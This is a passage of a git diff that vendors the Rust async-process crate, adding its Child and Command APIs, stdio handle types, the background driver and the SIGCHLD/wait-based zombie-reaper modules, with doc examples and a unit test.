std::io::Result::Ok(()) }); + /// ``` + pub fn kill(&mut self) -> io::Result<()> { + self.child.lock().unwrap().get_mut().kill() + } + + /// Returns the exit status if the process has exited. + /// + /// Unlike [`status()`][`Child::status()`], this method will not drop the stdin handle. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// + /// let mut child = Command::new("ls").spawn()?; + /// + /// match child.try_status()? { + /// None => println!("still running"), + /// Some(status) => println!("exited with: {}", status), + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn try_status(&mut self) -> io::Result> { + self.child.lock().unwrap().get_mut().try_wait() + } + + /// Drops the stdin handle and waits for the process to exit. + /// + /// Closing the stdin of the process helps avoid deadlocks. It ensures that the process does + /// not block waiting for input from the parent process while the parent waits for the child to + /// exit. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::{Command, Stdio}; + /// + /// let mut child = Command::new("cp") + /// .arg("a.txt") + /// .arg("b.txt") + /// .spawn()?; + /// + /// println!("exit status: {}", child.status().await?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn status(&mut self) -> impl Future> { + self.stdin.take(); + let child = self.child.clone(); + + async move { Reaper::get().sys.status(&child).await } + } + + /// Drops the stdin handle and collects the output of the process. + /// + /// Closing the stdin of the process helps avoid deadlocks. It ensures that the process does + /// not block waiting for input from the parent process while the parent waits for the child to + /// exit. + /// + /// In order to capture the output of the process, [`Command::stdout()`] and + /// [`Command::stderr()`] must be configured with [`Stdio::piped()`]. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::{Command, Stdio}; + /// + /// let child = Command::new("ls") + /// .stdout(Stdio::piped()) + /// .stderr(Stdio::piped()) + /// .spawn()?; + /// + /// let out = child.output().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn output(mut self) -> impl Future> { + // A future that waits for the exit status. + let status = self.status(); + + // A future that collects stdout. + let stdout = self.stdout.take(); + let stdout = async move { + let mut v = Vec::new(); + if let Some(mut s) = stdout { + s.read_to_end(&mut v).await?; + } + io::Result::Ok(v) + }; + + // A future that collects stderr. + let stderr = self.stderr.take(); + let stderr = async move { + let mut v = Vec::new(); + if let Some(mut s) = stderr { + s.read_to_end(&mut v).await?; + } + io::Result::Ok(v) + }; + + async move { + let (stdout, stderr) = future::try_zip(stdout, stderr).await?; + let status = status.await?; + Ok(Output { + status, + stdout, + stderr, + }) + } + } +} + +impl fmt::Debug for Child { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("Child") + .field("stdin", &self.stdin) + .field("stdout", &self.stdout) + .field("stderr", &self.stderr) + .finish() + } +} + +/// A handle to a child process's standard input (stdin). +/// +/// When a [`ChildStdin`] is dropped, the underlying handle gets closed. If the child process was +/// previously blocked on input, it becomes unblocked after dropping. +#[derive(Debug)] +pub struct ChildStdin( + #[cfg(windows)] Unblock, + #[cfg(unix)] Async, +); + +impl ChildStdin { + /// Convert async_process::ChildStdin into std::process::Stdio. + /// + /// You can use it to associate to the next process. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// use std::process::Stdio; + /// + /// let mut ls_child = Command::new("ls").stdin(Stdio::piped()).spawn()?; + /// let stdio:Stdio = ls_child.stdin.take().unwrap().into_stdio().await?; + /// + /// let mut echo_child = Command::new("echo").arg("./").stdout(stdio).spawn()?; + /// + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn into_stdio(self) -> io::Result { + cfg_if::cfg_if! { + if #[cfg(windows)] { + Ok(self.0.into_inner().await.into()) + } else if #[cfg(unix)] { + let child_stdin = self.0.into_inner()?; + blocking_fd(rustix::fd::AsFd::as_fd(&child_stdin))?; + Ok(child_stdin.into()) + } + } + } +} + +impl io::AsyncWrite for ChildStdin { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + Pin::new(&mut self.0).poll_write(cx, buf) + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + Pin::new(&mut self.0).poll_flush(cx) + } + + fn poll_close(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + Pin::new(&mut self.0).poll_close(cx) + } +} + +#[cfg(unix)] +impl AsRawFd for ChildStdin { + fn as_raw_fd(&self) -> RawFd { + self.0.as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for ChildStdin { + fn as_fd(&self) -> BorrowedFd<'_> { + self.0.as_fd() + } +} + +#[cfg(unix)] +impl TryFrom for OwnedFd { + type Error = io::Error; + + fn try_from(value: ChildStdin) -> Result { + value.0.try_into() + } +} + +// TODO(notgull): Add mirroring AsRawHandle impls for all of the child handles +// +// at the moment this is pretty hard to do because of how they're wrapped in +// Unblock, meaning that we can't always access the underlying handle. async-fs +// gets around this by putting the handle in an Arc, but there's still some decision +// to be made about how to handle this (no pun intended) + +/// A handle to a child process's standard output (stdout). +/// +/// When a [`ChildStdout`] is dropped, the underlying handle gets closed. +#[derive(Debug)] +pub struct ChildStdout( + #[cfg(windows)] Unblock, + #[cfg(unix)] Async, +); + +impl ChildStdout { + /// Convert async_process::ChildStdout into std::process::Stdio. + /// + /// You can use it to associate to the next process. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// use std::process::Stdio; + /// use std::io::Read; + /// use futures_lite::AsyncReadExt; + /// + /// let mut ls_child = Command::new("ls").stdout(Stdio::piped()).spawn()?; + /// let stdio:Stdio = ls_child.stdout.take().unwrap().into_stdio().await?; + /// + /// let mut echo_child = Command::new("echo").stdin(stdio).stdout(Stdio::piped()).spawn()?; + /// let mut buf = vec![]; + /// echo_child.stdout.take().unwrap().read(&mut buf).await; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn into_stdio(self) -> io::Result { + cfg_if::cfg_if! { + if #[cfg(windows)] { + Ok(self.0.into_inner().await.into()) + } else if #[cfg(unix)] { + let child_stdout = self.0.into_inner()?; + blocking_fd(rustix::fd::AsFd::as_fd(&child_stdout))?; + Ok(child_stdout.into()) + } + } + } +} + +impl io::AsyncRead for ChildStdout { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + Pin::new(&mut self.0).poll_read(cx, buf) + } +} + +#[cfg(unix)] +impl AsRawFd for ChildStdout { + fn as_raw_fd(&self) -> RawFd { + self.0.as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for ChildStdout { + fn as_fd(&self) -> BorrowedFd<'_> { + self.0.as_fd() + } +} + +#[cfg(unix)] +impl TryFrom for OwnedFd { + type Error = io::Error; + + fn try_from(value: ChildStdout) -> Result { + value.0.try_into() + } +} + +/// A handle to a child process's standard error (stderr). +/// +/// When a [`ChildStderr`] is dropped, the underlying handle gets closed. +#[derive(Debug)] +pub struct ChildStderr( + #[cfg(windows)] Unblock, + #[cfg(unix)] Async, +); + +impl ChildStderr { + /// Convert async_process::ChildStderr into std::process::Stdio. + /// + /// You can use it to associate to the next process. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// use std::process::Stdio; + /// + /// let mut ls_child = Command::new("ls").arg("x").stderr(Stdio::piped()).spawn()?; + /// let stdio:Stdio = ls_child.stderr.take().unwrap().into_stdio().await?; + /// + /// let mut echo_child = Command::new("echo").stdin(stdio).spawn()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn into_stdio(self) -> io::Result { + cfg_if::cfg_if! { + if #[cfg(windows)] { + Ok(self.0.into_inner().await.into()) + } else if #[cfg(unix)] { + let child_stderr = self.0.into_inner()?; + blocking_fd(rustix::fd::AsFd::as_fd(&child_stderr))?; + Ok(child_stderr.into()) + } + } + } +} + +impl io::AsyncRead for ChildStderr { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + Pin::new(&mut self.0).poll_read(cx, buf) + } +} + +#[cfg(unix)] +impl AsRawFd for ChildStderr { + fn as_raw_fd(&self) -> RawFd { + self.0.as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for ChildStderr { + fn as_fd(&self) -> BorrowedFd<'_> { + self.0.as_fd() + } +} + +#[cfg(unix)] +impl TryFrom for OwnedFd { + type Error = io::Error; + + fn try_from(value: ChildStderr) -> Result { + value.0.try_into() + } +} + +/// Runs the driver for the asynchronous processes. +/// +/// This future takes control of global structures related to driving [`Child`]ren and reaping +/// zombie processes. These responsibilities include listening for the `SIGCHLD` signal and +/// making sure zombie processes are successfully waited on. +/// +/// If multiple tasks run `driver()` at once, only one will actually drive the reaper; the other +/// ones will just sleep. If a task that is driving the reaper is dropped, a previously sleeping +/// task will take over. If all tasks driving the reaper are dropped, the "async-process" thread +/// will be spawned. The "async-process" thread just blocks on this future and will automatically +/// be spawned if no tasks are driving the reaper once a [`Child`] is created. +/// +/// This future will never complete. It is intended to be ran on a background task in your +/// executor of choice. +/// +/// # Examples +/// +/// ```no_run +/// use async_executor::Executor; +/// use async_process::{driver, Command}; +/// +/// # futures_lite::future::block_on(async { +/// // Create an executor and run on it. +/// let ex = Executor::new(); +/// ex.run(async { +/// // Run the driver future in the background. +/// ex.spawn(driver()).detach(); +/// +/// // Run a command. +/// Command::new("ls").output().await.ok(); +/// }).await; +/// # }); +/// ``` +#[allow(clippy::manual_async_fn)] +#[inline] +pub fn driver() -> impl Future + Send + 'static { + async { + // Get the reaper. + let reaper = Reaper::get(); + + // Make sure the reaper knows we're driving it. + reaper.drivers.fetch_add(1, Ordering::SeqCst); + + // Decrement the driver count when this future is dropped. + let _guard = CallOnDrop(|| { + let prev_count = reaper.drivers.fetch_sub(1, Ordering::SeqCst); + + // If this was the last driver, and there are still resources actively using the + // reaper, make sure that there is a thread driving the reaper. + if prev_count == 1 + && (reaper.child_count.load(Ordering::SeqCst) > 0 || reaper.sys.has_zombies()) + { + reaper.ensure_driven(); + } + }); + + // Acquire the reaper lock and start polling the SIGCHLD event. + let guard = reaper.sys.lock().await; + reaper.sys.reap(guard).await + } +} + +/// A builder for spawning processes. +/// +/// # Examples +/// +/// ```no_run +/// # futures_lite::future::block_on(async { +/// use async_process::Command; +/// +/// let output = if cfg!(target_os = "windows") { +/// Command::new("cmd").args(&["/C", "echo hello"]).output().await? +/// } else { +/// Command::new("sh").arg("-c").arg("echo hello").output().await? +/// }; +/// # std::io::Result::Ok(()) }); +/// ``` +pub struct Command { + inner: std::process::Command, + stdin: bool, + stdout: bool, + stderr: bool, + reap_on_drop: bool, + kill_on_drop: bool, +} + +impl Command { + /// Constructs a new [`Command`] for launching `program`. + /// + /// The initial configuration (the working directory and environment variables) is inherited + /// from the current process. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let mut cmd = Command::new("ls"); + /// ``` + pub fn new>(program: S) -> Command { + Self::from(std::process::Command::new(program)) + } + + /// Adds a single argument to pass to the program. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let mut cmd = Command::new("echo"); + /// cmd.arg("hello"); + /// cmd.arg("world"); + /// ``` + pub fn arg>(&mut self, arg: S) -> &mut Command { + self.inner.arg(arg); + self + } + + /// Adds multiple arguments to pass to the program. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let mut cmd = Command::new("echo"); + /// cmd.args(&["hello", "world"]); + /// ``` + pub fn args(&mut self, args: I) -> &mut Command + where + I: IntoIterator, + S: AsRef, + { + self.inner.args(args); + self + } + + /// Configures an environment variable for the new process. + /// + /// Note that environment variable names are case-insensitive (but case-preserving) on Windows, + /// and case-sensitive on all other platforms. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let mut cmd = Command::new("ls"); + /// cmd.env("PATH", "/bin"); + /// ``` + pub fn env(&mut self, key: K, val: V) -> &mut Command + where + K: AsRef, + V: AsRef, + { + self.inner.env(key, val); + self + } + + /// Configures multiple environment variables for the new process. + /// + /// Note that environment variable names are case-insensitive (but case-preserving) on Windows, + /// and case-sensitive on all other platforms. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let mut cmd = Command::new("ls"); + /// cmd.envs(vec![("PATH", "/bin"), ("TERM", "xterm-256color")]); + /// ``` + pub fn envs(&mut self, vars: I) -> &mut Command + where + I: IntoIterator, + K: AsRef, + V: AsRef, + { + self.inner.envs(vars); + self + } + + /// Gets an iterator of the arguments that will be passed to the program. + /// + /// # Examples + /// + /// ``` + /// use std::ffi::OsStr; + /// use async_process::Command; + /// + /// let mut cmd = Command::new("echo"); + /// cmd.arg("first").arg("second"); + /// let args: Vec<&OsStr> = cmd.get_args().collect(); + /// assert_eq!(args, &["first", "second"]); + /// ``` + pub fn get_args(&self) -> std::process::CommandArgs<'_> { + self.inner.get_args() + } + + /// Gets an iterator of the environment variables explicitly set for the child process. + /// + /// # Examples + /// + /// ``` + /// use std::ffi::OsStr; + /// use async_process::Command; + /// + /// let mut cmd = Command::new("ls"); + /// cmd.env("TERM", "dumb").env_remove("TZ"); + /// let envs: Vec<(&OsStr, Option<&OsStr>)> = cmd.get_envs().collect(); + /// assert_eq!(envs, &[ + /// (OsStr::new("TERM"), Some(OsStr::new("dumb"))), + /// (OsStr::new("TZ"), None) + /// ]); + /// ``` + pub fn get_envs(&self) -> std::process::CommandEnvs<'_> { + self.inner.get_envs() + } + + /// Gets the working directory for the child process. + /// + /// This returns [`None`] if the working directory will not be changed. + /// + /// # Examples + /// + /// ``` + /// use std::path::Path; + /// use async_process::Command; + /// + /// let mut cmd = Command::new("ls"); + /// assert_eq!(cmd.get_current_dir(), None); + /// cmd.current_dir("/bin"); + /// assert_eq!(cmd.get_current_dir(), Some(Path::new("/bin"))); + /// ``` + pub fn get_current_dir(&self) -> Option<&Path> { + self.inner.get_current_dir() + } + + /// Gets the path to the program that was given to [`Command::new`]. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let cmd = Command::new("echo"); + /// assert_eq!(cmd.get_program(), "echo"); + /// ``` + pub fn get_program(&self) -> &OsStr { + self.inner.get_program() + } + + /// Removes an environment variable mapping. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let mut cmd = Command::new("ls"); + /// cmd.env_remove("PATH"); + /// ``` + pub fn env_remove>(&mut self, key: K) -> &mut Command { + self.inner.env_remove(key); + self + } + + /// Removes all environment variable mappings. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let mut cmd = Command::new("ls"); + /// cmd.env_clear(); + /// ``` + pub fn env_clear(&mut self) -> &mut Command { + self.inner.env_clear(); + self + } + + /// Configures the working directory for the new process. + /// + /// # Examples + /// + /// ``` + /// use async_process::Command; + /// + /// let mut cmd = Command::new("ls"); + /// cmd.current_dir("/"); + /// ``` + pub fn current_dir>(&mut self, dir: P) -> &mut Command { + self.inner.current_dir(dir); + self + } + + /// Configures the standard input (stdin) for the new process. + /// + /// # Examples + /// + /// ``` + /// use async_process::{Command, Stdio}; + /// + /// let mut cmd = Command::new("cat"); + /// cmd.stdin(Stdio::null()); + /// ``` + pub fn stdin>(&mut self, cfg: T) -> &mut Command { + self.stdin = true; + self.inner.stdin(cfg); + self + } + + /// Configures the standard output (stdout) for the new process. + /// + /// # Examples + /// + /// ``` + /// use async_process::{Command, Stdio}; + /// + /// let mut cmd = Command::new("ls"); + /// cmd.stdout(Stdio::piped()); + /// ``` + pub fn stdout>(&mut self, cfg: T) -> &mut Command { + self.stdout = true; + self.inner.stdout(cfg); + self + } + + /// Configures the standard error (stderr) for the new process. + /// + /// # Examples + /// + /// ``` + /// use async_process::{Command, Stdio}; + /// + /// let mut cmd = Command::new("ls"); + /// cmd.stderr(Stdio::piped()); + /// ``` + pub fn stderr>(&mut self, cfg: T) -> &mut Command { + self.stderr = true; + self.inner.stderr(cfg); + self + } + + /// Configures whether to reap the zombie process when [`Child`] is dropped. + /// + /// When the process finishes, it becomes a "zombie" and some resources associated with it + /// remain until [`Child::try_status()`], [`Child::status()`], or [`Child::output()`] collects + /// its exit code. + /// + /// If its exit code is never collected, the resources may leak forever. This crate has a + /// background thread named "async-process" that collects such "zombie" processes and then + /// "reaps" them, thus preventing the resource leaks. + /// + /// The default value of this option is `true`. + /// + /// # Examples + /// + /// ``` + /// use async_process::{Command, Stdio}; + /// + /// let mut cmd = Command::new("cat"); + /// cmd.reap_on_drop(false); + /// ``` + pub fn reap_on_drop(&mut self, reap_on_drop: bool) -> &mut Command { + self.reap_on_drop = reap_on_drop; + self + } + + /// Configures whether to kill the process when [`Child`] is dropped. + /// + /// The default value of this option is `false`. + /// + /// # Examples + /// + /// ``` + /// use async_process::{Command, Stdio}; + /// + /// let mut cmd = Command::new("cat"); + /// cmd.kill_on_drop(true); + /// ``` + pub fn kill_on_drop(&mut self, kill_on_drop: bool) -> &mut Command { + self.kill_on_drop = kill_on_drop; + self + } + + /// Executes the command and returns the [`Child`] handle to it. + /// + /// If not configured, stdin, stdout and stderr will be set to [`Stdio::inherit()`]. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// + /// let child = Command::new("ls").spawn()?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn spawn(&mut self) -> io::Result { + if !self.stdin { + self.inner.stdin(Stdio::inherit()); + } + if !self.stdout { + self.inner.stdout(Stdio::inherit()); + } + if !self.stderr { + self.inner.stderr(Stdio::inherit()); + } + + Child::new(self) + } + + /// Executes the command, waits for it to exit, and returns the exit status. + /// + /// If not configured, stdin, stdout and stderr will be set to [`Stdio::inherit()`]. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// + /// let status = Command::new("cp") + /// .arg("a.txt") + /// .arg("b.txt") + /// .status() + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn status(&mut self) -> impl Future> { + let child = self.spawn(); + async { child?.status().await } + } + + /// Executes the command and collects its output. + /// + /// If not configured, stdin will be set to [`Stdio::null()`], and stdout and stderr will be + /// set to [`Stdio::piped()`]. + /// + /// # Examples + /// + /// ```no_run + /// # futures_lite::future::block_on(async { + /// use async_process::Command; + /// + /// let output = Command::new("cat") + /// .arg("a.txt") + /// .output() + /// .await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn output(&mut self) -> impl Future> { + if !self.stdin { + self.inner.stdin(Stdio::null()); + } + if !self.stdout { + self.inner.stdout(Stdio::piped()); + } + if !self.stderr { + self.inner.stderr(Stdio::piped()); + } + + let child = Child::new(self); + async { child?.output().await } + } +} + +impl From for Command { + fn from(inner: std::process::Command) -> Self { + Self { + inner, + stdin: false, + stdout: false, + stderr: false, + reap_on_drop: true, + kill_on_drop: false, + } + } +} + +impl fmt::Debug for Command { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + if f.alternate() { + f.debug_struct("Command") + .field("inner", &self.inner) + .field("stdin", &self.stdin) + .field("stdout", &self.stdout) + .field("stderr", &self.stderr) + .field("reap_on_drop", &self.reap_on_drop) + .field("kill_on_drop", &self.kill_on_drop) + .finish() + } else { + // Stdlib outputs command-line in Debug for Command. This does the + // same, if not in "alternate" (long pretty-printed) mode. + // This is useful for logs, for example. + fmt::Debug::fmt(&self.inner, f) + } + } +} + +/// Moves `Fd` out of non-blocking mode. +#[cfg(unix)] +fn blocking_fd(fd: rustix::fd::BorrowedFd<'_>) -> io::Result<()> { + cfg_if::cfg_if! { + // ioctl(FIONBIO) sets the flag atomically, but we use this only on Linux + // for now, as with the standard library, because it seems to behave + // differently depending on the platform. + // https://github.com/rust-lang/rust/commit/efeb42be2837842d1beb47b51bb693c7474aba3d + // https://github.com/libuv/libuv/blob/e9d91fccfc3e5ff772d5da90e1c4a24061198ca0/src/unix/poll.c#L78-L80 + // https://github.com/tokio-rs/mio/commit/0db49f6d5caf54b12176821363d154384357e70a + if #[cfg(target_os = "linux")] { + rustix::io::ioctl_fionbio(fd, false)?; + } else { + let previous = rustix::fs::fcntl_getfl(fd)?; + let new = previous & !rustix::fs::OFlags::NONBLOCK; + if new != previous { + rustix::fs::fcntl_setfl(fd, new)?; + } + } + } + Ok(()) +} + +struct CallOnDrop(F); + +impl Drop for CallOnDrop { + fn drop(&mut self) { + (self.0)(); + } +} + +#[cfg(test)] +mod test { + #[test] + fn polled_driver() { + use super::{driver, Command}; + use futures_lite::future; + use futures_lite::prelude::*; + + let is_thread_spawned = + || super::DRIVER_THREAD_SPAWNED.load(std::sync::atomic::Ordering::SeqCst); + + #[cfg(unix)] + fn command() -> Command { + let mut cmd = Command::new("sh"); + cmd.arg("-c").arg("echo hello"); + cmd + } + + #[cfg(windows)] + fn command() -> Command { + let mut cmd = Command::new("cmd"); + cmd.arg("/C").arg("echo hello"); + cmd + } + + #[cfg(unix)] + const OUTPUT: &[u8] = b"hello\n"; + #[cfg(windows)] + const OUTPUT: &[u8] = b"hello\r\n"; + + future::block_on(async { + // Thread should not be spawned off the bat. + assert!(!is_thread_spawned()); + + // Spawn a driver. + let mut driver1 = Box::pin(driver()); + future::poll_once(&mut driver1).await; + assert!(!is_thread_spawned()); + + // We should be able to run the driver in parallel with a process future. + async { + (&mut driver1).await; + } + .or(async { + let output = command().output().await.unwrap(); + assert_eq!(output.stdout, OUTPUT); + }) + .await; + assert!(!is_thread_spawned()); + + // Spawn a second driver. + let mut driver2 = Box::pin(driver()); + future::poll_once(&mut driver2).await; + assert!(!is_thread_spawned()); + + // Poll both drivers in parallel. + async { + (&mut driver1).await; + } + .or(async { + (&mut driver2).await; + }) + .or(async { + let output = command().output().await.unwrap(); + assert_eq!(output.stdout, OUTPUT); + }) + .await; + assert!(!is_thread_spawned()); + + // Once one is dropped, the other should take over. + drop(driver1); + assert!(!is_thread_spawned()); + + // Poll driver2 in parallel with a process future. + async { + (&mut driver2).await; + } + .or(async { + let output = command().output().await.unwrap(); + assert_eq!(output.stdout, OUTPUT); + }) + .await; + assert!(!is_thread_spawned()); + + // Once driver2 is dropped, the thread should not be spawned, as there are no active + // child processes.. + drop(driver2); + assert!(!is_thread_spawned()); + + // We should now be able to poll the process future independently, it will spawn the + // thread. + let output = command().output().await.unwrap(); + assert_eq!(output.stdout, OUTPUT); + assert!(is_thread_spawned()); + }); + } +} diff --git a/lib/malio/async-process/src/reaper/mod.rs b/lib/malio/async-process/src/reaper/mod.rs new file mode 100644 index 0000000..f8daf3e --- /dev/null +++ b/lib/malio/async-process/src/reaper/mod.rs @@ -0,0 +1,231 @@ +//! The underlying system reaper. +//! +//! There are two backends: +//! +//! - signal, which waits for SIGCHLD. +//! - wait, which waits directly on a process handle. +//! +//! "wait" is preferred, but is not available on all supported Linuxes. So we +//! test to see if pidfd is supported first. If it is, we use wait. If not, we use +//! signal. + +#![allow(irrefutable_let_patterns)] + +/// Enable the waiting reaper. +#[cfg(any(windows, target_os = "linux"))] +macro_rules! cfg_wait { + ($($tt:tt)*) => {$($tt)*}; +} + +/// Enable the waiting reaper. +#[cfg(not(any(windows, target_os = "linux")))] +macro_rules! cfg_wait { + ($($tt:tt)*) => {}; +} + +/// Enable signals. +#[cfg(not(windows))] +macro_rules! cfg_signal { + ($($tt:tt)*) => {$($tt)*}; +} + +/// Enable signals. +#[cfg(windows)] +macro_rules! cfg_signal { + ($($tt:tt)*) => {}; +} + +cfg_wait! { + mod wait; +} + +cfg_signal! { + mod signal; +} + +use std::io; +use std::sync::Mutex; + +/// The underlying system reaper. +pub(crate) enum Reaper { + #[cfg(any(windows, target_os = "linux"))] + /// The reaper based on the wait backend. + Wait(wait::Reaper), + + /// The reaper based on the signal backend. + #[cfg(not(windows))] + Signal(signal::Reaper), +} + +/// The wrapper around a child. +pub(crate) enum ChildGuard { + #[cfg(any(windows, target_os = "linux"))] + /// The child guard based on the wait backend. + Wait(wait::ChildGuard), + + /// The child guard based on the signal backend. + #[cfg(not(windows))] + Signal(signal::ChildGuard), +} + +/// A lock on the reaper. +pub(crate) enum Lock { + #[cfg(any(windows, target_os = "linux"))] + /// The wait-based reaper needs no lock. + Wait, + + /// The lock for the signal-based reaper. + #[cfg(not(windows))] + Signal(signal::Lock), +} + +impl Reaper { + /// Create a new reaper. + pub(crate) fn new() -> Self { + cfg_wait! { + if wait::available() && !cfg!(async_process_force_signal_backend) { + return Self::Wait(wait::Reaper::new()); + } + } + + // Return the signal-based reaper. + cfg_signal! { + return Self::Signal(signal::Reaper::new()); + } + + #[allow(unreachable_code)] + { + panic!("neither the signal backend nor the waiter backend is available") + } + } + + /// Lock the driver thread. + /// + /// This makes it so only one thread can reap at once. + pub(crate) async fn lock(&'static self) -> Lock { + cfg_wait! { + if let Self::Wait(_this) = self { + // No locking needed. + return Lock::Wait; + } + } + + cfg_signal! { + if let Self::Signal(this) = self { + // We need to lock. + return Lock::Signal(this.lock().await); + } + } + + unreachable!() + } + + /// Reap zombie processes forever. + pub(crate) async fn reap(&'static self, lock: Lock) -> ! { + cfg_wait! { + if let (Self::Wait(this), Lock::Wait) = (self, &lock) { + this.reap().await; + } + } + + cfg_signal! { + if let (Self::Signal(this), Lock::Signal(lock)) = (self, lock) { + this.reap(lock).await; + } + } + + unreachable!() + } + + /// Register a child into this reaper. + pub(crate) fn register(&'static self, child: std::process::Child) -> io::Result { + cfg_wait! { + if let Self::Wait(this) = self { + return this.register(child).map(ChildGuard::Wait); + } + } + + cfg_signal! { + if let Self::Signal(this) = self { + return this.register(child).map(ChildGuard::Signal); + } + } + + unreachable!() + } + + /// Wait for the inner child to complete. + pub(crate) async fn status( + &'static self, + child: &Mutex, + ) -> io::Result { + cfg_wait! { + if let Self::Wait(this) = self { + return this.status(child).await; + } + } + + cfg_signal! { + if let Self::Signal(this) = self { + return this.status(child).await; + } + } + + unreachable!() + } + + /// Do we have any registered zombie processes? + pub(crate) fn has_zombies(&'static self) -> bool { + cfg_wait! { + if let Self::Wait(this) = self { + return this.has_zombies(); + } + } + + cfg_signal! { + if let Self::Signal(this) = self { + return this.has_zombies(); + } + } + + unreachable!() + } +} + +impl ChildGuard { + /// Get a reference to the inner process. + pub(crate) fn get_mut(&mut self) -> &mut std::process::Child { + cfg_wait! { + if let Self::Wait(this) = self { + return this.get_mut(); + } + } + + cfg_signal! { + if let Self::Signal(this) = self { + return this.get_mut(); + } + } + + unreachable!() + } + + /// Start reaping this child process. + pub(crate) fn reap(&mut self, reaper: &'static Reaper) { + cfg_wait! { + if let (Self::Wait(this), Reaper::Wait(reaper)) = (&mut *self, reaper) { + this.reap(reaper); + return; + } + } + + cfg_signal! { + if let (Self::Signal(this), Reaper::Signal(reaper)) = (self, reaper) { + this.reap(reaper); + return; + } + } + + unreachable!() + } +} diff --git a/lib/malio/async-process/src/reaper/signal.rs b/lib/malio/async-process/src/reaper/signal.rs new file mode 100644 index 0000000..6562c2a --- /dev/null +++ b/lib/malio/async-process/src/reaper/signal.rs @@ -0,0 +1,169 @@ +//! A version of the reaper that waits for a signal to check for process progress. + +use async_lock::{Mutex as AsyncMutex, MutexGuard as AsyncMutexGuard}; +use async_signal::{Signal, Signals}; +use event_listener::Event; +use futures_lite::{future, prelude::*}; + +use std::io; +use std::mem; +use std::sync::Mutex; + +pub(crate) type Lock = AsyncMutexGuard<'static, ()>; + +/// The zombie process reaper. +pub(crate) struct Reaper { + /// An event delivered every time the SIGCHLD signal occurs. + sigchld: Event, + + /// The list of zombie processes. + zombies: Mutex>, + + /// The pipe that delivers signal notifications. + pipe: Pipe, + + /// Locking this mutex indicates that we are polling the SIGCHLD event. + driver_guard: AsyncMutex<()>, +} + +impl Reaper { + /// Create a new reaper. + pub(crate) fn new() -> Self { + Reaper { + sigchld: Event::new(), + zombies: Mutex::new(Vec::new()), + pipe: Pipe::new().expect("cannot create SIGCHLD pipe"), + driver_guard: AsyncMutex::new(()), + } + } + + /// Lock the driver thread. + pub(crate) async fn lock(&self) -> AsyncMutexGuard<'_, ()> { + self.driver_guard.lock().await + } + + /// Reap zombie processes forever. + pub(crate) async fn reap(&'static self, _driver_guard: async_lock::MutexGuard<'_, ()>) -> ! { + loop { + // Wait for the next SIGCHLD signal. + self.pipe.wait().await; + + // Notify all listeners waiting on the SIGCHLD event. + self.sigchld.notify(usize::MAX); + + // Reap zombie processes, but make sure we don't hold onto the lock for too long! + let mut zombies = mem::take(&mut *self.zombies.lock().unwrap()); + let mut i = 0; + 'reap_zombies: loop { + for _ in 0..50 { + if i >= zombies.len() { + break 'reap_zombies; + } + + if let Ok(None) = zombies[i].try_wait() { + i += 1; + } else { + #[allow(clippy::zombie_processes)] // removed only when process done or errored + zombies.swap_remove(i); + } + } + + // Be a good citizen; yield if there are a lot of processes. + // + // After we yield, check if there are more zombie processes. + future::yield_now().await; + zombies.append(&mut self.zombies.lock().unwrap()); + } + + // Put zombie processes back. + self.zombies.lock().unwrap().append(&mut zombies); + } + } + + /// Register a process with this reaper. + pub(crate) fn register(&'static self, child: std::process::Child) -> io::Result { + self.pipe.register(&child)?; + Ok(ChildGuard { inner: Some(child) }) + } + + /// Wait for an event to occur for a child process. + pub(crate) async fn status( + &'static self, + child: &Mutex, + ) -> io::Result { + loop { + // Wait on the child process. + if let Some(status) = child.lock().unwrap().get_mut().try_wait()? { + return Ok(status); + } + + // Start listening. + event_listener::listener!(self.sigchld => listener); + + // Try again. + if let Some(status) = child.lock().unwrap().get_mut().try_wait()? { + return Ok(status); + } + + // Wait on the listener. + listener.await; + } + } + + /// Do we have any registered zombie processes? + pub(crate) fn has_zombies(&'static self) -> bool { + !self + .zombies + .lock() + .unwrap_or_else(|x| x.into_inner()) + .is_empty() + } +} + +/// The wrapper around the child. +pub(crate) 